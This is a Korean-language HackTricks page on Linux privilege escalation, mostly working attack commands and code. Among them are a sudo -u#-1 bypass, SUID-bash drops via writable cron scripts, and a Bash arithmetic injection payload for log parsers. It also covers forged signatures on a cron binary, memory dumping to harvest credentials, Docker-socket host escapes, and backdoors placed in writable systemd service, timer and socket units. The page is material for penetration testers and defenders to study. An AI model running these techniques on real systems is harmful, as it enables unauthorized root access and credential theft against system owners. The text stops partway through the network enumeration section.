Linux Privilege Escalation

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

시스템 정보

OS 정보

실행 중인 운영체제에 대한 정보를 수집해보자.

(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems

Path

만약 당신이 have write permissions on any folder inside the PATH 이라면 일부 libraries나 binaries를 hijack할 수 있습니다:

echo $PATH

환경 정보

환경 변수에 흥미로운 정보, 비밀번호 또는 API 키가 있나요?

(env || set) 2>/dev/null

Kernel exploits

커널 버전을 확인하고 escalate privileges에 사용할 수 있는 exploit가 있는지 확인하세요

cat /proc/version
uname -a
searchsploit "Linux Kernel"

좋은 vulnerable kernel 목록과 이미 compiled exploits를 다음에서 찾을 수 있습니다: https://github.com/lucyoa/kernel-exploits and exploitdb sploits.
다른 사이트에서도 일부 compiled exploits를 찾을 수 있습니다: https://github.com/bwbwbwbw/linux-exploit-binaries, https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack

그 웹에서 모든 취약한 커널 버전을 추출하려면 다음을 실행할 수 있습니다:

curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '

커널 익스플로잇을 검색하는 데 도움이 될 수 있는 도구:

linux-exploit-suggester.sh
linux-exploit-suggester2.pl
linuxprivchecker.py (victim에서 실행, kernel 2.x에 대한 exploit만 검사)

항상 Google에서 커널 버전을 검색하세요. 해당 커널 버전이 어떤 kernel exploit 설명에 적혀 있을 수 있으니, 그러면 그 exploit이 유효한지 확신할 수 있습니다.

추가적인 커널 익스플로잇 기법:

Adreno A7xx Sds Rb Priv Bypass Gpu Smmu Kernel Rw Arm64 Static Linear Map Kaslr Bypass

CVE-2016-5195 (DirtyCow)

Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8

# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c

Sudo 버전

다음에 나타나는 취약한 sudo 버전을 기반으로:

searchsploit sudo

다음 grep을 사용하여 sudo 버전이 취약한지 확인할 수 있습니다.

sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"

Sudo < 1.9.17p1

Sudo 버전이 1.9.17p1 이전(예: 1.9.14 - 1.9.17 < 1.9.17p1)인 경우, /etc/nsswitch.conf 파일이 사용자 제어 디렉터리에서 사용될 때 sudo의 --chroot 옵션을 통해 권한이 없는 로컬 사용자가 root 권한으로 권한 상승할 수 있습니다.

Here is a PoC to exploit that vulnerability. exploit을 실행하기 전에, sudo 버전이 취약한지 및 chroot 기능을 지원하는지 확인하세요.

For more information, refer to the original vulnerability advisory

sudo < v1.8.28

출처: @sickrov

sudo -u#-1 /bin/bash

Dmesg 서명 검증 실패

smasher2 box of HTB에서 이 vuln이 어떻게 악용될 수 있는지에 대한 예시를 확인하세요

dmesg 2>/dev/null | grep "signature"

더 많은 시스템 열거

date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info

가능한 방어 수단 열거

AppArmor

if [ `which aa-status 2>/dev/null` ]; then
aa-status
elif [ `which apparmor_status 2>/dev/null` ]; then
apparmor_status
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
else
echo "Not found AppArmor"
fi

Grsecurity

((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")

PaX

(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")

Execshield

(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")

SElinux

(sestatus 2>/dev/null || echo "Not found sestatus")

ASLR

cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled

Docker Breakout

만약 docker container 내부에 있다면, 그 안에서 탈출을 시도할 수 있습니다:

Docker Security

드라이브

어디에 무엇이 mounted와 unmounted 되어 있는지, 그리고 그 이유를 확인하세요. 만약 어떤 항목이 unmounted 되어 있다면 mount를 시도해보고 민감한 정보를 확인해보세요

ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null

유용한 소프트웨어

유용한 바이너리 열거

which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null

또한 컴파일러가 설치되어 있는지 확인하세요. 이는 kernel exploit을 사용해야 할 경우 유용합니다. 사용하려는 머신(또는 유사한 머신)에서 컴파일하는 것이 권장됩니다.

(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")

취약한 소프트웨어 설치됨

설치된 패키지와 서비스의 버전을 확인하세요. 예를 들어 오래된 Nagios 버전이 있을 수 있으며, 이는 escalating privileges에 악용될 수 있습니다…\
더 의심스러운 설치된 소프트웨어의 버전을 수동으로 확인하는 것이 좋습니다.

dpkg -l #Debian
rpm -qa #Centos

만약 머신에 SSH 접근 권한이 있다면, 머신 내부에 설치된 오래되었거나 취약한 소프트웨어를 점검하기 위해 openVAS를 사용할 수도 있다.

[!NOTE] > 이 명령어들은 대부분 쓸모없는 많은 정보를 출력하므로, 설치된 소프트웨어 버전이 알려진 exploits에 취약한지 검사해주는 OpenVAS 같은 애플리케이션 사용을 권장한다

프로세스

실행 중인 프로세스가 무엇인지 살펴보고, 어떤 프로세스가 있어야 할 것보다 더 많은 권한으로 실행되고 있는지 확인하라 (예: tomcat이 root로 실행되고 있는 경우?)

ps aux
ps -ef
top -n 1

Always check for possible electron/cef/chromium debuggers running, you could abuse it to escalate privileges. Linpeas detect those by checking the --inspect parameter inside the command line of the process.
Also 프로세스 binaries에 대한 권한도 확인하세요, 누군가의 바이너리를 덮어쓸 수 있을지도 모릅니다.

프로세스 모니터링

You can use tools like pspy to monitor processes. This can be very useful to identify vulnerable processes being executed frequently or when a set of requirements are met.

프로세스 메모리

서버의 일부 서비스는 credentials를 메모리 내부에 평문으로 저장합니다.
보통 다른 사용자가 소유한 프로세스의 메모리를 읽으려면 root privileges가 필요하므로, 이는 보통 이미 root인 상태에서 더 많은 credentials를 찾아내고자 할 때 유용합니다.
하지만, 일반 사용자로서 자신이 소유한 프로세스의 메모리는 읽을 수 있다는 점을 기억하세요.

Warning

Note that nowadays most machines don’t allow ptrace by default which means that you cannot dump other processes that belong to your unprivileged user.

The file /proc/sys/kernel/yama/ptrace_scope controls the accessibility of ptrace:

  • kernel.yama.ptrace_scope = 0: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked.
  • kernel.yama.ptrace_scope = 1: only a parent process can be debugged.
  • kernel.yama.ptrace_scope = 2: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability.
  • kernel.yama.ptrace_scope = 3: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again.

GDB

If you have access to the memory of an FTP service (for example) you could get the Heap and search inside of its credentials.

gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password

GDB 스크립트

#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done

/proc/$pid/maps & /proc/$pid/mem

주어진 프로세스 ID에 대해, maps는 해당 프로세스의 가상 주소 공간 내에서 메모리가 어떻게 매핑되어 있는지를 보여준다; 또한 각 매핑된 영역의 권한을 보여준다. mem pseudo 파일은 프로세스의 메모리 자체를 노출한다. maps 파일에서 어떤 메모리 영역이 읽기 가능한지와 그 오프셋을 알 수 있다. 우리는 이 정보를 사용해 mem 파일에서 해당 위치로 이동(seek)하고 모든 읽기 가능한 영역을 dump하여 파일에 저장한다.

procdump()
(
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
cat $1*.bin > $1.dump
rm $1*.bin
)

/dev/mem

/dev/mem은 시스템의 물리적 메모리에 대한 접근을 제공하며, 가상 메모리는 아닙니다. 커널의 가상 주소 공간은 /dev/kmem을 사용하여 접근할 수 있습니다.\

일반적으로 /dev/memrootkmem 그룹만 읽을 수 있습니다.

strings /dev/mem -n10 | grep -i PASS

linux용 ProcDump

ProcDump는 Windows용 Sysinternals 도구 모음의 클래식 ProcDump 도구를 Linux에 맞게 재구상한 것입니다. 다음에서 확인하세요: https://github.com/Sysinternals/ProcDump-for-Linux

procdump -p 1714

ProcDump v1.2 - Sysinternals process dump utility
Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
Monitors a process and writes a dump file when the process meets the
specified criteria.

Process:		sleep (1714)
CPU Threshold:		n/a
Commit Threshold:	n/a
Thread Threshold:		n/a
File descriptor Threshold:		n/a
Signal:		n/a
Polling interval (ms):	1000
Threshold (s):	10
Number of Dumps:	1
Output directory for core dumps:	.

Press Ctrl-C to end monitoring without terminating the process.

[20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
[20:20:58 - INFO]: Timed:
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714

도구

프로세스 메모리를 dump하려면 다음을 사용할 수 있습니다:

프로세스 메모리에서 자격 증명

수동 예시

authenticator 프로세스가 실행 중인 것을 발견하면:

ps -ef | grep "authenticator"
root      2027  2025  0 11:46 ?        00:00:00 authenticator

프로세스를 dump할 수 있습니다(프로세스의 memory를 dump하는 다양한 방법은 앞 섹션을 참조하세요)하고 memory 내에서 credentials를 검색할 수 있습니다:

./dump-memory.sh 2027
strings *.dump | grep -i password

mimipenguin

이 도구 https://github.com/huntergregal/mimipenguin은 메모리에서 평문 자격증명을 훔치고 일부 잘 알려진 파일에서도 가져옵니다. 제대로 작동하려면 root 권한이 필요합니다.

FeatureProcess Name
GDM 비밀번호 (Kali Desktop, Debian Desktop)gdm-password
Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop)gnome-keyring-daemon
LightDM (Ubuntu Desktop)lightdm
VSFTPd (활성 FTP 연결)vsftpd
Apache2 (활성 HTTP Basic Auth 세션)apache2
OpenSSH (활성 SSH 세션 - sudo 사용)sshd:

검색 정규식/truffleproc

# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
# coredumping pid 6174
Reading symbols from od...
Reading symbols from /usr/lib/systemd/systemd...
Reading symbols from /lib/systemd/libsystemd-shared-247.so...
Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
[...]
# extracting strings to /tmp/tmp.o6HV0Pl3fe
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt

예약된/Cron 작업

Crontab UI (alseambusher) running as root – web-based scheduler privesc

웹 “Crontab UI” 패널 (alseambusher/crontab-ui)이 root로 실행되고 loopback에만 바인딩되어 있더라도, SSH local port-forwarding을 통해 접근하여 권한 있는 작업을 생성해 권한 상승할 수 있다.

Typical chain

  • Discover loopback-only port (e.g., 127.0.0.1:8000) and Basic-Auth realm via ss -ntlp / curl -v localhost:8000
  • 운영 아티팩트에서 자격 증명 찾기:
  • 백업/스크립트에 zip -P <password>로 보호된 항목
  • systemd unit에서 노출된 Environment="BASIC_AUTH_USER=...", Environment="BASIC_AUTH_PWD=..."
  • Tunnel and login:
ssh -L 9001:localhost:8000 user@target
# browse http://localhost:9001 and authenticate
  • 고권한 작업을 생성하고 즉시 실행 (SUID shell을 생성함):
# Name: escalate
# Command:
cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell
  • 사용하기:
/tmp/rootshell -p   # root shell

하드닝

  • Crontab UI를 root로 실행하지 마세요; 전용 사용자와 최소 권한으로 제한하세요
  • localhost에 바인딩하고 추가로 firewall/VPN으로 접근을 제한하세요; 비밀번호를 재사용하지 마세요
  • unit files에 secrets를 직접 포함하지 마세요; secret stores 또는 root 전용 EnvironmentFile을 사용하세요
  • on-demand job executions에 대해 audit/logging을 활성화하세요

예약된 작업이 취약한지 확인하세요. root에 의해 실행되는 스크립트를 악용할 수 있을지도 모릅니다 (wildcard vuln? root가 사용하는 파일을 수정할 수 있는가? symlinks를 사용할 수 있는가? root가 사용하는 디렉터리에 특정 파일을 생성할 수 있는가?).

crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"

Cron path

예를 들어, /etc/crontab 안에서 다음과 같은 PATH를 찾을 수 있습니다: PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

(/home/user에 대해 “user” 사용자가 쓰기 권한을 가지고 있는 것에 주목하세요)

만약 이 crontab 안에서 root 사용자가 PATH를 설정하지 않고 어떤 명령이나 스크립트를 실행하려 한다면. 예: * * * * root overwrite.sh
그러면, 다음을 사용하여 root shell을 얻을 수 있습니다:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid

스크립트에 와일드카드가 포함된 Cron 사용 (Wildcard Injection)

root에 의해 실행되는 스크립트가 명령어 안에 “*”를 포함하고 있다면, 이를 악용하여 예기치 않은 동작(예: privesc)을 발생시킬 수 있습니다. 예시:

rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script

만약 wildcard가 다음과 같은 경로 앞에 있다면 /some/path/* , 취약하지 않습니다(심지어 ./* 도 마찬가지입니다).

Read the following page for more wildcard exploitation tricks:

Wildcards Spare tricks

Bash arithmetic expansion injection in cron log parsers

Bash performs parameter expansion and command substitution before arithmetic evaluation in ((…)), $((…)) and let. If a root cron/parser reads untrusted log fields and feeds them into an arithmetic context, an attacker can inject a command substitution $(…) that executes as root when the cron runs.

  • 작동 원리: Bash에서는 확장이 다음 순서로 발생합니다: parameter/variable expansion, command substitution, arithmetic expansion, 그 다음에 word splitting 및 pathname expansion. 따라서 $(/bin/bash -c 'id > /tmp/pwn')0 같은 값은 먼저 치환되어(명령이 실행됨) 남은 숫자 0이 산술에 사용되어 스크립트가 오류 없이 계속됩니다.

  • 일반적인 취약 패턴:

#!/bin/bash
# Example: parse a log and "sum" a count field coming from the log
while IFS=',' read -r ts user count rest; do
# count is untrusted if the log is attacker-controlled
(( total += count ))     # or: let "n=$count"
done < /var/www/app/log/application.log
  • 악용: 파싱되는 로그에 attacker-controlled 텍스트를 기록하게 만들어 숫자처럼 보이는 필드에 command substitution이 포함되고 마지막이 숫자로 끝나게 하세요. 명령이 stdout으로 출력하지 않도록(또는 리다이렉트) 해서 산술이 유효하도록 보장하세요.
# Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim):
$(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0
# When the root cron parser evaluates (( total += count )), your command runs as root.

만약 root에 의해 실행되는 cron script를 수정할 수 있다면, 아주 쉽게 shell을 얻을 수 있습니다:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p

root가 실행하는 script가 directory where you have full access를 사용한다면, 그 폴더를 삭제하고 당신이 제어하는 script를 제공하는 다른 폴더로 연결되는 create a symlink folder to another one를 만드는 것이 유용할 수 있습니다.

ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>

쓰기 가능한 페이로드를 가진 사용자 서명된 cron 바이너리

블루팀은 때때로 cron으로 실행되는 바이너리를 사용자 정의 ELF 섹션을 덤프하고 벤더 문자열을 grep해서 root로 실행하기 전에 “서명“합니다. 해당 바이너리가 그룹 쓰기 가능(예: /opt/AV/periodic-checks/monitorroot:devs 770 소유)하고 signing material을 leak할 수 있다면, 섹션을 위조하여 cron 작업을 가로챌 수 있습니다:

  1. 검증 흐름을 캡처하려면 pspy를 사용하세요. Era에서는 root가 objcopy --dump-section .text_sig=text_sig_section.bin monitor를 실행한 뒤 grep -oP '(?<=UTF8STRING :)Era Inc.' text_sig_section.bin를 실행하고 파일을 실행했습니다.
  2. leaked key/config (from signing.zip)을 사용해 예상되는 인증서를 재생성합니다:
openssl req -x509 -new -nodes -key key.pem -config x509.genkey -days 365 -out cert.pem
  1. 악성 대체물(예: SUID bash 설치, SSH 키 추가)을 빌드하고 인증서를 .text_sig에 임베드하여 grep이 통과하도록 합니다:
gcc -fPIC -pie monitor.c -o monitor
objcopy --add-section .text_sig=cert.pem monitor
objcopy --dump-section .text_sig=text_sig_section.bin monitor
strings text_sig_section.bin | grep 'Era Inc.'
  1. 실행 비트를 보존하면서 예약된 바이너리를 덮어씁니다:
cp monitor /opt/AV/periodic-checks/monitor
chmod 770 /opt/AV/periodic-checks/monitor
  1. 다음 cron 실행을 기다리세요. 단순한 서명 확인이 성공하면 페이로드가 root로 실행됩니다.

자주 실행되는 cron 작업

프로세스를 모니터링하여 1, 2 또는 5분마다 실행되는 프로세스를 찾을 수 있습니다. 이를 활용해 권한 상승을 시도할 수 있습니다.

예를 들어, 1분 동안 0.1초마다 모니터링하고, 실행 횟수가 적은 명령부터 정렬한 뒤 가장 많이 실행된 명령들을 삭제하려면 다음을 실행하세요:

for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;

또한 사용할 수 있습니다 pspy (이것은 시작되는 모든 프로세스를 모니터링하고 시작되는 모든 프로세스를 나열합니다).

숨겨진 cron jobs

코멘트 뒤에 캐리지 리턴을 넣어(새줄 문자가 없이) cronjob을 만들 수 있으며, cron job은 작동합니다. 예시(캐리지 리턴 문자에 주의):

#This is a comment inside a cron config file\r* * * * * echo "Surprise!"

서비스

쓰기 가능한 .service 파일

어떤 .service 파일에 쓸 수 있는지 확인하세요. 가능하다면, 수정할 수 있습니다 그래서 서비스가 시작될 때, 재시작될 때 또는 중지될 때 당신의 backdoor가 실행되도록 만들 수 있습니다 (머신을 재부팅해야 할 수도 있습니다).
예를 들어, .service 파일 안에 당신의 backdoor를 **ExecStart=/tmp/script.sh**로 생성하세요.

쓰기 가능한 서비스 바이너리

다음 점을 기억하세요: 만약 서비스에 의해 실행되는 바이너리에 대한 쓰기 권한이 있다면, 이를 변경해 backdoor를 심을 수 있으며 서비스가 재실행될 때 backdoor가 실행됩니다.

systemd PATH - 상대 경로

다음 명령으로 systemd가 사용하는 PATH를 확인할 수 있습니다:

systemctl show-environment

경로의 어느 폴더에든 write할 수 있다면 escalate privileges할 수 있습니다. 다음과 같은 서비스 구성 파일에서 relative paths being used on service configurations을 찾아야 합니다:

ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"

그런 다음, 시스템이 쓸 수 있는 systemd PATH 폴더 안에 상대 경로 바이너리와 동일한 이름의 실행 파일을 만들고, 서비스가 취약한 동작(Start, Stop, Reload)을 실행하라고 요청하면 당신의 백도어가 실행됩니다(권한이 없는 사용자는 보통 서비스를 시작/중지할 수 없으므로 sudo -l을 사용할 수 있는지 확인하세요).

서비스에 대해 더 알아보려면 man systemd.service를 확인하세요.

Timers

Timers는 이름이 **.timer**로 끝나며 **.service** 파일이나 이벤트를 제어하는 systemd 유닛 파일입니다. Timers는 캘린더 시간 이벤트와 단조 시간(monotonic time) 이벤트를 기본적으로 지원하고 비동기적으로 실행할 수 있기 때문에 cron의 대안으로 사용할 수 있습니다.

다음 명령으로 모든 타이머를 열거할 수 있습니다:

systemctl list-timers --all

쓰기 가능한 타이머

타이머를 수정할 수 있다면 systemd.unit의 일부 항목(예: .service 또는 .target)을 실행하도록 만들 수 있습니다.

Unit=backdoor.service

In the documentation you can read what the Unit is:

이 타이머가 만료될 때 활성화할 Unit입니다. 인수는 접미사가 “.timer“가 아닌 unit 이름입니다. 지정하지 않으면, 이 값은 접미사를 제외하고 timer unit과 동일한 이름을 가진 service로 기본 설정됩니다. (위 참조.) 활성화되는 unit 이름과 timer unit의 unit 이름은 접미사만 제외하고 동일하게 명명하는 것이 권장됩니다.

Therefore, to abuse this permission you would need to:

  • Find some systemd unit (like a .service) that is 쓰기 가능한 바이너리(writable binary)를 실행하는
  • Find some systemd unit that is 상대 경로를 실행하는 and you have 쓰기 권한 over the systemd PATH (to impersonate that executable)

Learn more about timers with man systemd.timer.

타이머 활성화

타이머를 활성화하려면 root 권한이 필요하며 다음을 실행해야 합니다:

sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.

Note the timer is activated by creating a symlink to it on /etc/systemd/system/<WantedBy_section>.wants/<name>.timer

Sockets

Unix Domain Sockets (UDS) enable process communication on the same or different machines within client-server models. They utilize standard Unix descriptor files for inter-computer communication and are set up through .socket files.

Sockets can be configured using .socket files.

Learn more about sockets with man systemd.socket. Inside this file, several interesting parameters can be configured:

  • ListenStream, ListenDatagram, ListenSequentialPacket, ListenFIFO, ListenSpecial, ListenNetlink, ListenMessageQueue, ListenUSBFunction: These options are different but a summary is used to indicate where it is going to listen to the socket (the path of the AF_UNIX socket file, the IPv4/6 and/or port number to listen, etc.)
  • Accept: Takes a boolean argument. If true, a service instance is spawned for each incoming connection and only the connection socket is passed to it. If false, all listening sockets themselves are passed to the started service unit, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. Defaults to false. For performance reasons, it is recommended to write new daemons only in a way that is suitable for Accept=no.
  • ExecStartPre, ExecStartPost: Takes one or more command lines, which are executed before or after the listening sockets/FIFOs are created and bound, respectively. The first token of the command line must be an absolute filename, then followed by arguments for the process.
  • ExecStopPre, ExecStopPost: Additional commands that are executed before or after the listening sockets/FIFOs are closed and removed, respectively.
  • Service: Specifies the service unit name to activate on incoming traffic. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket (with the suffix replaced). In most cases, it should not be necessary to use this option.

Writable .socket files

If you find a writable .socket file you can add at the beginning of the [Socket] section something like: ExecStartPre=/home/kali/sys/backdoor and the backdoor will be executed before the socket is created. Therefore, you will probably need to wait until the machine is rebooted.
Note that the system must be using that socket file configuration or the backdoor won’t be executed

Writable sockets

If you identify any writable socket (now we are talking about Unix Sockets and not about the config .socket files), then you can communicate with that socket and maybe exploit a vulnerability.

Enumerate Unix Sockets

netstat -a -p --unix

원시 연결

#apt-get install netcat-openbsd
nc -U /tmp/socket  #Connect to UNIX-domain stream socket
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket

#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type

Exploitation example:

Socket Command Injection

HTTP sockets

일부 sockets listening for HTTP requests가 있을 수 있다는 점에 유의하세요 (여기서 말하는 것은 .socket 파일이 아니라 unix sockets로 동작하는 파일들입니다). 다음으로 확인할 수 있습니다:

curl --max-time 2 --unix-socket /pat/to/socket/files http:/index

소켓이 HTTP 요청에 응답하면, 해당 소켓과 통신할 수 있고 어쩌면 exploit some vulnerability할 수도 있습니다.

쓰기 가능한 Docker socket

Docker socket는 보통 /var/run/docker.sock에 위치하며, 보호해야 하는 중요한 파일입니다. 기본적으로 root 사용자와 docker 그룹의 멤버가 쓰기 권한을 가지고 있습니다. 이 소켓에 대한 쓰기 권한을 가지면 privilege escalation으로 이어질 수 있습니다. 다음은 이 방법의 상세 설명과 Docker CLI를 사용할 수 없을 때의 대체 방법입니다.

Privilege Escalation with Docker CLI

Docker socket에 쓰기 권한이 있다면, 다음 명령어들을 사용하여 escalate privileges할 수 있습니다:

docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh

이 명령어들은 호스트의 파일 시스템에 대한 root 수준 접근 권한으로 container를 실행할 수 있게 합니다.

Docker API 직접 사용

Docker CLI를 사용할 수 없는 경우에도, Docker socket은 Docker API와 curl 명령을 사용해 여전히 조작할 수 있습니다.

  1. List Docker Images: 사용 가능한 이미지를 가져옵니다.
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
  1. Create a Container: 호스트 시스템의 루트 디렉토리를 마운트하는 container를 생성하는 요청을 보냅니다.
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create

생성된 container를 시작:

curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
  1. Attach to the Container: socat을 사용해 container에 연결을 설정하면 그 안에서 명령을 실행할 수 있습니다.
socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp

socat 연결을 설정한 후에는 호스트 파일 시스템에 대한 root 수준 접근으로 container 안에서 직접 명령을 실행할 수 있습니다.

기타

docker socket에 대한 쓰기 권한이 있고 group docker의 구성원인 경우, more ways to escalate privileges를 이용할 수 있습니다. 만약 docker API is listening in a port you can also be able to compromise it.

다음에서 docker에서 탈출하거나 이를 악용해 권한을 상승시키는 더 많은 방법을 확인하세요:

Docker Security

Containerd (ctr) privilege escalation

If you find that you can use the ctr command read the following page as you may be able to abuse it to escalate privileges:

Containerd (ctr) Privilege Escalation

RunC privilege escalation

If you find that you can use the runc command read the following page as you may be able to abuse it to escalate privileges:

RunC Privilege Escalation

D-Bus

D-Bus는 정교한 inter-Process Communication (IPC) system으로, 애플리케이션들이 효율적으로 상호작용하고 데이터를 공유할 수 있게 합니다. 현대 Linux 시스템을 염두에 두고 설계되어, 다양한 형태의 애플리케이션 통신을 위한 견고한 프레임워크를 제공합니다.

이 시스템은 기본 IPC를 지원해 프로세스 간 데이터 교환을 향상시키며, enhanced UNIX domain sockets를 연상시킵니다. 또한 이벤트나 신호를 브로드캐스트하는 데 도움을 주어 시스템 구성 요소 간의 원활한 통합을 촉진합니다. 예를 들어, 수신 중인 통화에 대한 Bluetooth daemon의 신호는 음악 플레이어를 음소거하도록 유도해 사용자 경험을 향상시킬 수 있습니다. 추가로, D-Bus는 원격 객체 시스템을 지원하여 애플리케이션 간 서비스 요청과 메소드 호출을 단순화함으로써 전통적으로 복잡했던 과정을 간소화합니다.

D-Bus는 allow/deny model로 동작하며, 일치하는 정책 규칙들의 누적된 효과에 따라 메시지 권한(메소드 호출, 신호 전송 등)을 관리합니다. 이러한 정책은 버스와의 상호작용을 지정하며, 권한을 악용하면 privilege escalation으로 이어질 가능성이 있습니다.

예를 들어 /etc/dbus-1/system.d/wpa_supplicant.conf에 있는 이러한 정책의 예시가 제공되며, 여기서는 root 사용자가 fi.w1.wpa_supplicant1을 소유하고, 해당 대상에 메시지를 보내고 받을 수 있는 권한을 상세히 규정하고 있습니다.

사용자나 그룹이 명시되지 않은 정책은 보편적으로 적용되며, “default” 컨텍스트 정책은 다른 특정 정책에 포함되지 않는 모든 대상에 적용됩니다.

<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
<allow send_destination="fi.w1.wpa_supplicant1"/>
<allow send_interface="fi.w1.wpa_supplicant1"/>
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>

여기에서 D-Bus 통신을 enumerate하고 exploit하는 방법을 배우세요:

D-Bus Enumeration & Command Injection Privilege Escalation

네트워크

네트워크를 enumerate하고 시스템의 위치를 파악하는 것은 항상 흥미롭습니다.

일반적인 enumeration

#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
dnsdomainname

#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf

#Interfaces
cat /etc/networks
(ifconfig || ip a)

#Neighbours
(arp -e || arp -a)
(route || ip n)

#Iptables rules
